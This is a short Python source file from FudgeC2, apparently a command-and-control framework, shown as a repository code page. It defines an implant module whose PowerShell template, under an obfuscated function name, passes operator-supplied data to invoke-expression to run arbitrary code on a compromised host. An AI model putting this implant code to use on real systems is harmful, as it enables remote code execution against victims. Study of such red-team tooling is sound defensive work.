Codebase list fudgec2 / upstream/latest FudgeC2 / Implant / implant_core / invoke_expression.py
upstream/latest

Tree @upstream/latest (Download .tar.gz)

invoke_expression.py @upstream/latestraw · history · blame

class InvokeExpression:
    # Module notes:
    #   IM should be renames to IE, after initial testing.
    type = "IM"
    args = "Module name"
    input = "exec_module"

    def process_implant_response(self, data, args):
        return f"Exec'ing module: {args}\n{data.decode()}", None

    def implant_text(self):
        var = '''
function {{ ron.obf_invoke_module }} ($data) {
    $Script:tr = invoke-expression "$data"
}'''
        return var